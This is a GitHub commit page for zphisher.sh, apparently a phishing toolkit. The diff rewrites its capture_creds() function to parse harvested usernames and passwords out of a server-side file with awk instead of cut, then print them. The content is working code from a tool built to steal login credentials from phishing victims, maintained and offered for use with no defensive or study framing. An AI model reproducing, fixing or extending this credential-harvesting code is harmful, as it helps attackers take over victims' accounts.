Skip to content

Commit 0f1a751

Browse files
committed
fix whitespace #L360 {awk instead of cut}
1 parent a400acf commit 0f1a751

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

zphisher.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -356,8 +356,8 @@ capture_ip() {
356356

357357
## Get credentials
358358
capture_creds() {
359-
ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | cut -d " " -f2)
360-
PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | cut -d ":" -f2)
359+
ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}')
360+
PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}')
361361
IFS=$'\n'
362362
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT"
363363
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD"

0 commit comments

Comments
 (0)